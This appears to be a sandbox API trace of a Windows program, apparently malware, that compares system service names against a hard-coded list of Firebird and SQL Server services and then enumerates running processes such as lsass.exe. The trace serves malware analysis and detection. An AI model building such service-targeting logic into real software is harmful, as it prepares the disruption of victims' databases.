	[0189.396] lstrcmpiW (lpString1="sqlwriter", lpString2="CDPSvc") returned 1
	[0189.396] lstrcmpiW (lpString1="mssqlserver", lpString2="CDPSvc") returned 1
	[0189.396] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CDPSvc") returned 1
	[0189.396] lstrlenW (lpString="ClickToRunSvc") returned 13
	[0189.396] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ClickToRunSvc") returned 1
	[0189.396] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ClickToRunSvc") returned 1
	[0189.396] lstrcmpiW (lpString1="sqlwriter", lpString2="ClickToRunSvc") returned 1
	[0189.396] lstrcmpiW (lpString1="mssqlserver", lpString2="ClickToRunSvc") returned 1
	[0189.396] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ClickToRunSvc") returned 1
	[0189.396] lstrlenW (lpString="CoreMessagingRegistrar") returned 22
	[0189.396] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CoreMessagingRegistrar") returned 1
	[0189.396] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CoreMessagingRegistrar") returned 1
	[0189.396] lstrcmpiW (lpString1="sqlwriter", lpString2="CoreMessagingRegistrar") returned 1
	[0189.396] lstrcmpiW (lpString1="mssqlserver", lpString2="CoreMessagingRegistrar") returned 1
	[0189.397] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CoreMessagingRegistrar") returned 1
	[0189.397] lstrlenW (lpString="CryptSvc") returned 8
	[0189.397] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CryptSvc") returned 1
	[0189.397] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CryptSvc") returned 1
	[0189.397] lstrcmpiW (lpString1="sqlwriter", lpString2="CryptSvc") returned 1
	[0189.397] lstrcmpiW (lpString1="mssqlserver", lpString2="CryptSvc") returned 1
	[0189.397] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CryptSvc") returned 1
	[0189.397] lstrlenW (lpString="DcomLaunch") returned 10
	[0189.397] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DcomLaunch") returned 1
	[0189.397] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DcomLaunch") returned 1
	[0189.397] lstrcmpiW (lpString1="sqlwriter", lpString2="DcomLaunch") returned 1
	[0189.397] lstrcmpiW (lpString1="mssqlserver", lpString2="DcomLaunch") returned 1
	[0189.397] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DcomLaunch") returned 1
	[0189.397] lstrlenW (lpString="DeviceAssociationService") returned 24
	[0189.397] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DeviceAssociationService") returned 1
	[0189.397] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DeviceAssociationService") returned 1
	[0189.397] lstrcmpiW (lpString1="sqlwriter", lpString2="DeviceAssociationService") returned 1
	[0189.397] lstrcmpiW (lpString1="mssqlserver", lpString2="DeviceAssociationService") returned 1
	[0189.397] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DeviceAssociationService") returned 1
	[0189.397] lstrlenW (lpString="Dhcp") returned 4
	[0189.397] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dhcp") returned 1
	[0189.397] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dhcp") returned 1
	[0189.397] lstrcmpiW (lpString1="sqlwriter", lpString2="Dhcp") returned 1
	[0189.397] lstrcmpiW (lpString1="mssqlserver", lpString2="Dhcp") returned 1
	[0189.397] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dhcp") returned 1
	[0189.397] lstrlenW (lpString="Dnscache") returned 8
	[0189.397] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dnscache") returned 1
	[0189.397] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dnscache") returned 1
	[0189.397] lstrcmpiW (lpString1="sqlwriter", lpString2="Dnscache") returned 1
	[0189.397] lstrcmpiW (lpString1="mssqlserver", lpString2="Dnscache") returned 1
	[0189.397] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dnscache") returned 1
	[0189.397] lstrlenW (lpString="DPS") returned 3
	[0189.397] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DPS") returned 1
	[0189.397] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DPS") returned 1
	[0189.397] lstrcmpiW (lpString1="sqlwriter", lpString2="DPS") returned 1
	[0189.397] lstrcmpiW (lpString1="mssqlserver", lpString2="DPS") returned 1
	[0189.398] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DPS") returned 1
	[0189.398] lstrlenW (lpString="DusmSvc") returned 7
	[0189.398] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DusmSvc") returned 1
	[0189.398] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DusmSvc") returned 1
	[0189.398] lstrcmpiW (lpString1="sqlwriter", lpString2="DusmSvc") returned 1
	[0189.398] lstrcmpiW (lpString1="mssqlserver", lpString2="DusmSvc") returned 1
	[0189.398] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DusmSvc") returned 1
	[0189.398] lstrlenW (lpString="EventLog") returned 8
	[0189.398] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventLog") returned 1
	[0189.398] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventLog") returned 1
	[0189.398] lstrcmpiW (lpString1="sqlwriter", lpString2="EventLog") returned 1
	[0189.398] lstrcmpiW (lpString1="mssqlserver", lpString2="EventLog") returned 1
	[0189.398] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventLog") returned 1
	[0189.398] lstrlenW (lpString="EventSystem") returned 11
	[0189.398] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventSystem") returned 1
	[0189.398] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventSystem") returned 1
	[0189.398] lstrcmpiW (lpString1="sqlwriter", lpString2="EventSystem") returned 1
	[0189.398] lstrcmpiW (lpString1="mssqlserver", lpString2="EventSystem") returned 1
	[0189.398] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventSystem") returned 1
	[0189.398] lstrlenW (lpString="FontCache") returned 9
	[0189.398] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="FontCache") returned -1
	[0189.398] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="FontCache") returned -1
	[0189.398] lstrcmpiW (lpString1="sqlwriter", lpString2="FontCache") returned 1
	[0189.398] lstrcmpiW (lpString1="mssqlserver", lpString2="FontCache") returned 1
	[0189.398] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="FontCache") returned 1
	[0189.398] lstrlenW (lpString="gpsvc") returned 5
	[0189.398] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="gpsvc") returned -1
	[0189.398] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="gpsvc") returned -1
	[0189.398] lstrcmpiW (lpString1="sqlwriter", lpString2="gpsvc") returned 1
	[0189.398] lstrcmpiW (lpString1="mssqlserver", lpString2="gpsvc") returned 1
	[0189.398] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="gpsvc") returned 1
	[0189.398] lstrlenW (lpString="iphlpsvc") returned 8
	[0189.398] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="iphlpsvc") returned -1
	[0189.398] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="iphlpsvc") returned -1
	[0189.398] lstrcmpiW (lpString1="sqlwriter", lpString2="iphlpsvc") returned 1
	[0189.399] lstrcmpiW (lpString1="mssqlserver", lpString2="iphlpsvc") returned 1
	[0189.399] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="iphlpsvc") returned 1
	[0189.399] lstrlenW (lpString="KeyIso") returned 6
	[0189.399] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="KeyIso") returned -1
	[0189.399] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="KeyIso") returned -1
	[0189.399] lstrcmpiW (lpString1="sqlwriter", lpString2="KeyIso") returned 1
	[0189.399] lstrcmpiW (lpString1="mssqlserver", lpString2="KeyIso") returned 1
	[0189.399] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="KeyIso") returned 1
	[0189.399] lstrlenW (lpString="LanmanServer") returned 12
	[0189.399] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanServer") returned -1
	[0189.399] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanServer") returned -1
	[0189.399] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanServer") returned 1
	[0189.399] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanServer") returned 1
	[0189.399] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanServer") returned 1
	[0189.399] lstrlenW (lpString="LanmanWorkstation") returned 17
	[0189.399] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanWorkstation") returned -1
	[0189.399] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanWorkstation") returned -1
	[0189.399] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanWorkstation") returned 1
	[0189.399] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanWorkstation") returned 1
	[0189.399] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanWorkstation") returned 1
	[0189.399] lstrlenW (lpString="lfsvc") returned 5
	[0189.399] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lfsvc") returned -1
	[0189.399] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lfsvc") returned -1
	[0189.399] lstrcmpiW (lpString1="sqlwriter", lpString2="lfsvc") returned 1
	[0189.399] lstrcmpiW (lpString1="mssqlserver", lpString2="lfsvc") returned 1
	[0189.399] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lfsvc") returned 1
	[0189.399] lstrlenW (lpString="lmhosts") returned 7
	[0189.399] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lmhosts") returned -1
	[0189.399] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lmhosts") returned -1
	[0189.399] lstrcmpiW (lpString1="sqlwriter", lpString2="lmhosts") returned 1
	[0189.399] lstrcmpiW (lpString1="mssqlserver", lpString2="lmhosts") returned 1
	[0189.399] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lmhosts") returned 1
	[0189.399] lstrlenW (lpString="LSM") returned 3
	[0189.399] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LSM") returned -1
	[0189.399] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LSM") returned -1
	[0189.400] lstrcmpiW (lpString1="sqlwriter", lpString2="LSM") returned 1
	[0189.400] lstrcmpiW (lpString1="mssqlserver", lpString2="LSM") returned 1
	[0189.400] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LSM") returned 1
	[0189.400] lstrlenW (lpString="MpsSvc") returned 6
	[0189.400] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MpsSvc") returned -1
	[0189.400] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MpsSvc") returned -1
	[0189.400] lstrcmpiW (lpString1="sqlwriter", lpString2="MpsSvc") returned 1
	[0189.400] lstrcmpiW (lpString1="mssqlserver", lpString2="MpsSvc") returned 1
	[0189.400] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MpsSvc") returned 1
	[0189.400] lstrlenW (lpString="NcbService") returned 10
	[0189.400] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NcbService") returned -1
	[0189.400] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NcbService") returned -1
	[0189.400] lstrcmpiW (lpString1="sqlwriter", lpString2="NcbService") returned 1
	[0189.400] lstrcmpiW (lpString1="mssqlserver", lpString2="NcbService") returned -1
	[0189.400] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NcbService") returned 1
	[0189.400] lstrlenW (lpString="netprofm") returned 8
	[0189.400] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="netprofm") returned -1
	[0189.400] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="netprofm") returned -1
	[0189.400] lstrcmpiW (lpString1="sqlwriter", lpString2="netprofm") returned 1
	[0189.400] lstrcmpiW (lpString1="mssqlserver", lpString2="netprofm") returned -1
	[0189.400] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="netprofm") returned 1
	[0189.400] lstrlenW (lpString="NgcSvc") returned 6
	[0189.400] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NgcSvc") returned -1
	[0189.400] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NgcSvc") returned -1
	[0189.400] lstrcmpiW (lpString1="sqlwriter", lpString2="NgcSvc") returned 1
	[0189.400] lstrcmpiW (lpString1="mssqlserver", lpString2="NgcSvc") returned -1
	[0189.400] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NgcSvc") returned 1
	[0189.400] lstrlenW (lpString="NlaSvc") returned 6
	[0189.400] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NlaSvc") returned -1
	[0189.400] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NlaSvc") returned -1
	[0189.400] lstrcmpiW (lpString1="sqlwriter", lpString2="NlaSvc") returned 1
	[0189.400] lstrcmpiW (lpString1="mssqlserver", lpString2="NlaSvc") returned -1
	[0189.400] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NlaSvc") returned 1
	[0189.400] lstrlenW (lpString="nsi") returned 3
	[0189.400] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="nsi") returned -1
	[0189.400] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="nsi") returned -1
	[0189.401] lstrcmpiW (lpString1="sqlwriter", lpString2="nsi") returned 1
	[0189.401] lstrcmpiW (lpString1="mssqlserver", lpString2="nsi") returned -1
	[0189.401] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="nsi") returned 1
	[0189.401] lstrlenW (lpString="PcaSvc") returned 6
	[0189.401] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PcaSvc") returned -1
	[0189.401] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PcaSvc") returned -1
	[0189.401] lstrcmpiW (lpString1="sqlwriter", lpString2="PcaSvc") returned 1
	[0189.401] lstrcmpiW (lpString1="mssqlserver", lpString2="PcaSvc") returned -1
	[0189.401] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PcaSvc") returned 1
	[0189.401] lstrlenW (lpString="PlugPlay") returned 8
	[0189.401] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PlugPlay") returned -1
	[0189.401] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PlugPlay") returned -1
	[0189.401] lstrcmpiW (lpString1="sqlwriter", lpString2="PlugPlay") returned 1
	[0189.401] lstrcmpiW (lpString1="mssqlserver", lpString2="PlugPlay") returned -1
	[0189.401] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PlugPlay") returned 1
	[0189.401] lstrlenW (lpString="Power") returned 5
	[0189.401] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Power") returned -1
	[0189.401] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Power") returned -1
	[0189.401] lstrcmpiW (lpString1="sqlwriter", lpString2="Power") returned 1
	[0189.401] lstrcmpiW (lpString1="mssqlserver", lpString2="Power") returned -1
	[0189.401] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Power") returned 1
	[0189.401] lstrlenW (lpString="ProfSvc") returned 7
	[0189.401] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ProfSvc") returned -1
	[0189.401] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ProfSvc") returned -1
	[0189.401] lstrcmpiW (lpString1="sqlwriter", lpString2="ProfSvc") returned 1
	[0189.401] lstrcmpiW (lpString1="mssqlserver", lpString2="ProfSvc") returned -1
	[0189.401] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ProfSvc") returned 1
	[0189.401] lstrlenW (lpString="RpcEptMapper") returned 12
	[0189.401] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcEptMapper") returned -1
	[0189.401] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcEptMapper") returned -1
	[0189.401] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcEptMapper") returned 1
	[0189.401] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcEptMapper") returned -1
	[0189.401] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcEptMapper") returned 1
	[0189.401] lstrlenW (lpString="RpcSs") returned 5
	[0189.401] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcSs") returned -1
	[0189.402] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcSs") returned -1
	[0189.402] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcSs") returned 1
	[0189.402] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcSs") returned -1
	[0189.402] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcSs") returned 1
	[0189.662] lstrlenW (lpString="SamSs") returned 5
	[0189.662] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SamSs") returned -1
	[0189.662] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SamSs") returned -1
	[0189.662] lstrcmpiW (lpString1="sqlwriter", lpString2="SamSs") returned 1
	[0189.662] lstrcmpiW (lpString1="mssqlserver", lpString2="SamSs") returned -1
	[0189.662] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SamSs") returned 1
	[0189.662] lstrlenW (lpString="Schedule") returned 8
	[0189.662] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Schedule") returned -1
	[0189.662] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Schedule") returned -1
	[0189.662] lstrcmpiW (lpString1="sqlwriter", lpString2="Schedule") returned 1
	[0189.662] lstrcmpiW (lpString1="mssqlserver", lpString2="Schedule") returned -1
	[0189.662] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Schedule") returned 1
	[0189.662] lstrlenW (lpString="SecurityHealthService") returned 21
	[0189.662] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SecurityHealthService") returned -1
	[0189.662] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SecurityHealthService") returned -1
	[0189.662] lstrcmpiW (lpString1="sqlwriter", lpString2="SecurityHealthService") returned 1
	[0189.662] lstrcmpiW (lpString1="mssqlserver", lpString2="SecurityHealthService") returned -1
	[0189.662] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SecurityHealthService") returned 1
	[0189.662] lstrlenW (lpString="SENS") returned 4
	[0189.662] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SENS") returned -1
	[0189.662] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SENS") returned -1
	[0189.662] lstrcmpiW (lpString1="sqlwriter", lpString2="SENS") returned 1
	[0189.662] lstrcmpiW (lpString1="mssqlserver", lpString2="SENS") returned -1
	[0189.662] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SENS") returned 1
	[0189.662] lstrlenW (lpString="ShellHWDetection") returned 16
	[0189.662] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ShellHWDetection") returned -1
	[0189.662] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ShellHWDetection") returned -1
	[0189.662] lstrcmpiW (lpString1="sqlwriter", lpString2="ShellHWDetection") returned 1
	[0189.662] lstrcmpiW (lpString1="mssqlserver", lpString2="ShellHWDetection") returned -1
	[0189.662] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ShellHWDetection") returned 1
	[0189.663] lstrlenW (lpString="Spooler") returned 7
	[0189.663] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Spooler") returned -1
	[0189.663] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Spooler") returned -1
	[0189.663] lstrcmpiW (lpString1="sqlwriter", lpString2="Spooler") returned 1
	[0189.663] lstrcmpiW (lpString1="mssqlserver", lpString2="Spooler") returned -1
	[0189.663] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Spooler") returned 1
	[0189.663] lstrlenW (lpString="StateRepository") returned 15
	[0189.663] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="StateRepository") returned -1
	[0189.663] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="StateRepository") returned -1
	[0189.663] lstrcmpiW (lpString1="sqlwriter", lpString2="StateRepository") returned -1
	[0189.663] lstrcmpiW (lpString1="mssqlserver", lpString2="StateRepository") returned -1
	[0189.663] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="StateRepository") returned -1
	[0189.663] lstrlenW (lpString="SysMain") returned 7
	[0189.663] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SysMain") returned -1
	[0189.663] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SysMain") returned -1
	[0189.663] lstrcmpiW (lpString1="sqlwriter", lpString2="SysMain") returned -1
	[0189.663] lstrcmpiW (lpString1="mssqlserver", lpString2="SysMain") returned -1
	[0189.663] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SysMain") returned -1
	[0189.663] lstrlenW (lpString="SystemEventsBroker") returned 18
	[0189.663] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SystemEventsBroker") returned -1
	[0189.663] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SystemEventsBroker") returned -1
	[0189.663] lstrcmpiW (lpString1="sqlwriter", lpString2="SystemEventsBroker") returned -1
	[0189.663] lstrcmpiW (lpString1="mssqlserver", lpString2="SystemEventsBroker") returned -1
	[0189.663] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SystemEventsBroker") returned -1
	[0189.663] lstrlenW (lpString="Themes") returned 6
	[0189.663] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Themes") returned -1
	[0189.663] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Themes") returned -1
	[0189.663] lstrcmpiW (lpString1="sqlwriter", lpString2="Themes") returned -1
	[0189.663] lstrcmpiW (lpString1="mssqlserver", lpString2="Themes") returned -1
	[0189.663] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Themes") returned -1
	[0189.663] lstrlenW (lpString="tiledatamodelsvc") returned 16
	[0189.663] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="tiledatamodelsvc") returned -1
	[0189.663] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="tiledatamodelsvc") returned -1
	[0189.663] lstrcmpiW (lpString1="sqlwriter", lpString2="tiledatamodelsvc") returned -1
	[0189.663] lstrcmpiW (lpString1="mssqlserver", lpString2="tiledatamodelsvc") returned -1
	[0189.664] HeapFree (in: hHeap=0x750000, dwFlags=0x0, lpMem=0x3fc5080 | out: hHeap=0x750000) returned 1
	[0189.664] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x368
	[0189.670] Process32FirstW (in: hSnapshot=0x368, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1
	[0189.671] Process32NextW (in: hSnapshot=0x368, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6d, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1
	[0189.671] lstrlenW (lpString="System") returned 6
	[0189.671] Process32NextW (in: hSnapshot=0x368, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x140, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1
	[0189.672] lstrlenW (lpString="smss.exe") returned 8
	[0189.672] Process32NextW (in: hSnapshot=0x368, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x194, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x18c, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1
	[0189.672] lstrlenW (lpString="csrss.exe") returned 9
	[0189.672] Process32NextW (in: hSnapshot=0x368, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x18c, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1
	[0189.673] lstrlenW (lpString="wininit.exe") returned 11
	[0189.673] Process32NextW (in: hSnapshot=0x368, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1d0, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1
	[0189.673] lstrlenW (lpString="csrss.exe") returned 9
	[0189.673] Process32NextW (in: hSnapshot=0x368, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x220, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1d0, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1
	[0189.673] lstrlenW (lpString="winlogon.exe") returned 12
	[0189.674] Process32NextW (in: hSnapshot=0x368, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x23c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x1d8, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1
	[0189.674] lstrlenW (lpString="services.exe") returned 12
	[0189.674] Process32NextW (in: hSnapshot=0x368, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x244, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x1d8, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1
	[0189.674] lstrlenW (lpString="lsass.exe") returned 9
	[0189.674] Process32NextW (in: hSnapshot=0x368, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x29c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x220, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1
	[0189.675] lstrlenW (lpString="fontdrvhost.exe") returned 15
	[0189.675] Process32NextW (in: hSnapshot=0x368, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1
	[0189.675] lstrlenW (lpString="fontdrvhost.exe") returned 15
	[0189.675] Process32NextW (in: hSnapshot=0x368, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0189.676] lstrlenW (lpString="svchost.exe") returned 11
	[0189.676] Process32NextW (in: hSnapshot=0x368, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x300, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0189.676] lstrlenW (lpString="svchost.exe") returned 11
	[0189.676] Process32NextW (in: hSnapshot=0x368, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x360, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x220, pcPriClassBase=13, dwFlags=0x0, szExeFile="dwm.exe")) returned 1
	[0189.677] lstrlenW (lpString="dwm.exe") returned 7
